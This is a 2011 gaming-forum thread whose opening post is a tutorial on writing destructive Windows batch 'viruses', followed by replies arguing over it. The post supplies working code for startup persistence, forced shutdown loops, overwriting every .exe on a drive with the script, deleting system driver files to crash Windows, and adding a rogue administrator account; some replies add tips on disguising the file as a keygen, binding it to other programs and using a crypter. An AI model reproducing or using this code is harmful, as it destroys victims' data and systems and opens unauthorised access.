Post: How to make a virus [TUT]
08-13-2011, 01:27 AM #1
DMoney750
ERROR ON THE INTERNETZ!!!
(adsbygoogle = window.adsbygoogle || []).push({}); Okay guys here I'm going to show you how to make a virus. With all the ways I am going to teach you your virus can be as unique as possible! Here just letting you guys know this isn't a true virus. It's a .bat file big difference if you have no experience with .bat files or anything like that this is the thread for you Yes

NOTE: USING A VIRUS TO DAMAGE SOMEONE ELSE'S COMPUTER IS ILLEGAL AND I'M NOT RESPONSIBLE FOR WHAT YOU DO WITH THE VIRUS YOU CREATE.

Everything you type should be in notepad!

How to start a virus.
When you are making a virus it should always start with this
    @echo off
@echo off is needed because it hides the actions of the .bat file you don't need it, but it's very nice to have. After that if you want to put your virus in someones start up your beginning should look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"

If you just use the @echo off the virus will not repeat after the computer restarts If you want the computer to keep using the virus you must use the second way, but in every code I show I will just use @echo off if you want the virus to keep repeating just add the part in the second code I showed you.

How to make a computer shutdown in two different ways
Okay the first way you can your code will have to look like this.
    @echo off
shutdown -s -t 30 -c "In 30 seconds say bye!"

-s Stands for seconds. -t Stands for time and your time can be anything you want. -c Is the comment. They will see this in the window that shows the shutdown. It's optional if you want it there or not.

The second way to shutdown a computer uses the code that makes the virus in the start up.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"

To make the computer shutdown the code will have to look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
shutdown -s -t 30 -c "In 30 seconds say bye!"

When the computer or virus starts up the bat file is told to shutdown the computer with all the information you put in there. Remember you can replace the time (-t) with whatever you want and the comment (-c) is optional. So what this does is every time they open there computer back up this window will keep coming up and the more times they restart their computer the more windows they'll have. To make more windows come up at one time you have to copy the echo shutdown line. So mine would look like this.
    @echo off
copy "shutdownworm.bat" "C:\documents and settings\all users\start menu\programs\startup"
cd:"C:\documents and settings\all users\start menu\programs\startup"
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
echo shutdown -s -t 30 -c "In 30 seconds say bye!">%random%.bat
shutdown -s -t 30 -c "In 30 seconds say bye!"

Now 4 windows would pop up saying that.

How to make a URL keep popping up.
To make a URL keep popping up on someones screen when the virus is used your code will have to look like this.
    @echo off
:A
start https://www.nextgenupdate.com
goto :A

This code will make nextgenupdate.com keep popping up on the persons computer screen. This can be very annoying :p

How to infect files.
In this example I will be showing how to infect .exe files. Some of you will recognize this code as the one from Virus Factory if you have used that program before; but all credits will be at the end Smile
Alright here is what your code should look if you want to infect .exe files. All the blue parts are the parts that can be switched based on the files name.
    @echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.[COLOR="#0000FF"]exe[/COLOR]) Do (
Set [COLOR="#0000FF"]exe[/COLOR]Infect=%%Z > Nul
Copy /y %0 %[COLOR="#0000FF"]exe[/COLOR]Infect%
)
)
Del /f /s /q DirPath

Okay as you can see the blue highlighted parts can be changed to different file names. Such as .txt or .rar, you get the point.

How to give a computer the blue screen of death.
If you want the virus to have the blue screen of death on it here's the code for that.
    @echo off
Set load=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Reg Add "%load%" /v "BSOD" /t "REG_SZ" /d %0 /f > nul
Del /q /s /f "%SystemRoot%\System32\Drivers\*.*"

This code will put the blue screen of death inside your virus.

How to add another account to the computer. Administrator included!
If you want to give another account to the computer that gets the virus you will need this code. The part that says username is the username of the account and the part that says password is the password to the account.
    @echo off
net user username password /add

Now if you want the account to be an administrator the code should look like this.
    @echo off
net user username password /add
net localgroup administrators username /add

Yet again the part that says username is the username!

Hopefully this has helped you guys... I don't think I need to get into anymore parts of making a virus, I mean there are more codes you can put in, but that's really not needed.

REMEMBER @ECHO OFF IS NOT NEEDED FOR EVERY CODE IT'S JUST THE BEGINNING OF THE VIRUS!!!!

CREDITS: PCbatch channel and VirusFactory

After you have made your virus save it as a batch file (.bat). Then use the .bat to .exe converter.... switching your virus to an exe file can become very helpful Happy
Heres the .bat to .exe converter. You must login or register to view this content.
(adsbygoogle = window.adsbygoogle || []).push({});

The following user thanked DMoney750 for this useful post:

DinoFreak

The following user groaned DMoney750 for this awful post:

Epic?
08-13-2011, 07:05 AM #11
Epic?
Awe-Inspiring
Guys....

We seriously don't need anymore skid viruses. Anyone can put these together in a minute or two. They're not cool, and they're easily detected - even if you crypt them, there's still better options.

Furthermore, these aren't necessarily viruses because they don't implement a feature of spreading. They're just general malware douchebaggery.

The following 2 users groaned at Epic? for this awful post:

DMoney750, Nick_Buckeyes
08-13-2011, 07:23 AM #12
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by AsianInvasion View Post
Guys....

We seriously don't need anymore skid viruses. Anyone can put these together in a minute or two. They're not cool, and they're easily detected - even if you crypt them, there's still better options.

Furthermore, these aren't necessarily viruses because they don't implement a feature of spreading. They're just general malware douchebaggery.

/facepalm do u want me to put f****** simple way to make a virus i hate trolls and thats why you name your files into keygens when you convert them into an exe.......... trolls need to calm down.... people think when someone puts up a thread it has to be the best possible thing out there and if it isnt they troll so sir.... your a troll
08-13-2011, 07:35 AM #13
Epic?
Awe-Inspiring
Originally posted by DMoney750 View Post
/facepalm do u want me to put f****** simple way to make a virus i hate trolls and thats why you name your files into keygens when you convert them into an exe.......... trolls need to calm down.... people think when someone puts up a thread it has to be the best possible thing out there and if it isnt they troll so sir.... your a troll


Okay, I'm not a troll, if anything, you need to calm down.

You can't "name your file into keygens". You can attempt to pass your file off as a keygen, or you can bind it with a keygen. You can obviously convert them to an exe, and you'd probably want to use a FUD crypter with it as well.

I'd also like to say, much of what you just said made no sense at all.

I was pointing out that these are "script kiddie" viruses. They are made by people who typically have little-to-no level of knowledge in actual programming. Furthermore, these have no legitimate uses, and really are just annoying. Beyond that, I also pointed out that its not an actual virus, because an actual virus implements a method of spread.
I also pointed out that there are much better actual malware, that are much more undetectable, and much more powerful. They're also much more useful (and typically not made by skids).
08-13-2011, 07:38 AM #14
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by AsianInvasion View Post
Okay, I'm not a troll, if anything, you need to calm down.

You can't "name your file into keygens". You can attempt to pass your file off as a keygen, or you can bind it with a keygen. You can obviously convert them to an exe, and you'd probably want to use a FUD crypter with it as well.

I'd also like to say, much of what you just said made no sense at all.

I was pointing out that these are "script kiddie" viruses. They are made by people who typically have little-to-no level of knowledge in actual programming. Furthermore, these have no legitimate uses, and really are just annoying. Beyond that, I also pointed out that its not an actual virus, because an actual virus implements a method of spread.
I also pointed out that there are much better actual malware, that are much more undetectable, and much more powerful. They're also much more useful (and typically not made by skids).

so what do you want my grandmom to post about the best way to create a virus....... some people don't want to spend a week on trying to create the "perfect" virus
08-13-2011, 07:47 AM #15
Epic?
Awe-Inspiring
Originally posted by DMoney750 View Post
so what do you want my grandmom to post about the best way to create a virus....... some people don't want to spend a week on trying to create the "perfect" virus


Yes, I want your grandmother to post a tutorial on creating the best possible virus.





And now I'm trolling :p
08-13-2011, 08:43 AM #16
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by AsianInvasion View Post
Yes, I want your grandmother to post a tutorial on creating the best possible virus.





And now I'm trolling :p

oh well then
08-13-2011, 05:47 PM #17
Pichu
RIP PICHU.
Haha, this would be fun. Smile Use a binder on this and have it start up automatically when the other application is loaded. Give a wait time though of 1 minute just to freak them out. Smile
08-13-2011, 08:06 PM #18
Curt
Former Staff
A .bat file isn't a virus, its a list of commands set to run once executed.

:dumb:

The following user thanked Curt for this useful post:

Epic?
08-13-2011, 08:08 PM #19
DMoney750
ERROR ON THE INTERNETZ!!!
Originally posted by Curt View Post
A .bat file isn't a virus, its a list of commands set to run once executed.

:dumb:
'
i know i would switch the title if i could :( me sorry

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo